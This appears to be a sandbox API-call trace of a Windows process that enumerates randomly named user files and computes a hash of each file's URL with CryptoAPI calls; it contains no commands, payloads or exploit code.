	[0099.130] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf") returned 0x48
	[0099.130] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x92, dwFlags=0x0) returned 1
	[0099.130] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.131] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.131] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf") returned 0x48
	[0099.131] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.131] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf/") returned 0x49
	[0099.131] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x94, dwFlags=0x0) returned 1
	[0099.131] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.131] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.131] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx") returned 0x6e
	[0099.131] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx" | out: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx"
	[0099.131] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.131] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx") returned 0x6e
	[0099.131] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xde, dwFlags=0x0) returned 1
	[0099.131] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.131] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.131] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx") returned 0x6e
	[0099.131] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.131] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx/") returned 0x6f
	[0099.131] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xe0, dwFlags=0x0) returned 1
	[0099.131] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.131] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.131] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt") returned 0x58
	[0099.132] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt" | out: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt"
	[0099.132] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.132] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt") returned 0x58
	[0099.132] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xb2, dwFlags=0x0) returned 1
	[0099.132] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.132] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.132] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt") returned 0x58
	[0099.132] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.132] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt/") returned 0x59
	[0099.132] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xb4, dwFlags=0x0) returned 1
	[0099.132] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.132] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.132] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif") returned 0x38
	[0099.132] _wcslwr (in: _String="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif" | out: _String="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif") returned="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif"
	[0099.132] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.132] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif") returned 0x38
	[0099.132] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x72, dwFlags=0x0) returned 1
	[0099.132] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.132] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.132] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif") returned 0x38
	[0099.132] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.132] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif/") returned 0x39
	[0099.132] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x74, dwFlags=0x0) returned 1
	[0099.132] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.133] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.133] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv") returned 0x37
	[0099.133] _wcslwr (in: _String="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv" | out: _String="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv") returned="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv"
	[0099.133] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.133] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv") returned 0x37
	[0099.133] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x70, dwFlags=0x0) returned 1
	[0099.133] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.133] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.133] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv") returned 0x37
	[0099.133] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.133] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv/") returned 0x38
	[0099.133] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x72, dwFlags=0x0) returned 1
	[0099.133] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.133] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.133] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv") returned 0x6b
	[0099.133] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv" | out: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv"
	[0099.133] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.133] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv") returned 0x6b
	[0099.133] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xd8, dwFlags=0x0) returned 1
	[0099.133] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.134] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.134] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv") returned 0x6b
	[0099.134] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.134] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv/") returned 0x6c
	[0099.134] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xda, dwFlags=0x0) returned 1
	[0099.134] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.134] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.134] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf") returned 0x5b
	[0099.134] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf" | out: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf"
	[0099.134] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.134] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf") returned 0x5b
	[0099.134] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xb8, dwFlags=0x0) returned 1
	[0099.134] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.134] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.134] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf") returned 0x5b
	[0099.134] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.134] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf/") returned 0x5c
	[0099.134] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xba, dwFlags=0x0) returned 1
	[0099.134] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.134] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.134] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg") returned 0x3c
	[0099.134] _wcslwr (in: _String="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg" | out: _String="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg") returned="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg"
	[0099.134] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.134] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg") returned 0x3c
	[0099.134] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7a, dwFlags=0x0) returned 1
	[0099.134] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.135] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.135] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg") returned 0x3c
	[0099.135] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.135] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg/") returned 0x3d
	[0099.135] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7c, dwFlags=0x0) returned 1
	[0099.135] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.135] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.135] wcslen (_String="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf") returned 0x33
	[0099.135] _wcslwr (in: _String="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf" | out: _String="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf") returned="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf"
	[0099.135] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.135] wcslen (_String="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf") returned 0x33
	[0099.135] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x68, dwFlags=0x0) returned 1
	[0099.135] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.135] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.135] wcslen (_String="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf") returned 0x33
	[0099.135] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.135] wcslen (_String="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf/") returned 0x34
	[0099.135] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6a, dwFlags=0x0) returned 1
	[0099.135] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.135] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.136] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png") returned 0x54
	[0099.136] _wcslwr (in: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png" | out: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png"
	[0099.136] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.136] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png") returned 0x54
	[0099.136] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xaa, dwFlags=0x0) returned 1
	[0099.136] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.136] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.136] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png") returned 0x54
	[0099.136] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.136] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png/") returned 0x55
	[0099.136] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xac, dwFlags=0x0) returned 1
	[0099.136] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.136] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.136] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp") returned 0x72
	[0099.136] _wcslwr (in: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp" | out: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp"
	[0099.136] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.136] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp") returned 0x72
	[0099.136] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xe6, dwFlags=0x0) returned 1
	[0099.136] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.136] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.136] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp") returned 0x72
	[0099.136] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.136] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp/") returned 0x73
	[0099.136] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xe8, dwFlags=0x0) returned 1
	[0099.137] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.137] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.137] wcslen (_String="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc") returned 0x33
	[0099.137] _wcslwr (in: _String="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc" | out: _String="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc") returned="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc"
	[0099.137] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.137] wcslen (_String="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc") returned 0x33
	[0099.137] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x68, dwFlags=0x0) returned 1
	[0099.137] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.137] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.137] wcslen (_String="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc") returned 0x33
	[0099.137] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.137] wcslen (_String="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc/") returned 0x34
	[0099.137] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6a, dwFlags=0x0) returned 1
	[0099.137] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.137] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.137] wcslen (_String="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif") returned 0x37
	[0099.137] _wcslwr (in: _String="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif" | out: _String="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif") returned="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif"
	[0099.137] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.137] wcslen (_String="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif") returned 0x37
	[0099.137] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x70, dwFlags=0x0) returned 1
	[0099.137] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.138] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.138] wcslen (_String="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif") returned 0x37
	[0099.138] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.138] wcslen (_String="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif/") returned 0x38
	[0099.138] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x72, dwFlags=0x0) returned 1
	[0099.138] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.138] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.138] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif") returned 0x33
	[0099.138] _wcslwr (in: _String="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif" | out: _String="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif") returned="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif"
	[0099.138] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.138] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif") returned 0x33
	[0099.138] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x68, dwFlags=0x0) returned 1
	[0099.138] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.138] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.138] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif") returned 0x33
	[0099.138] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.138] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif/") returned 0x34
	[0099.138] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6a, dwFlags=0x0) returned 1
	[0099.138] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.139] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.139] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls") returned 0x35
	[0099.139] _wcslwr (in: _String="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls" | out: _String="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls") returned="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls"
	[0099.139] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
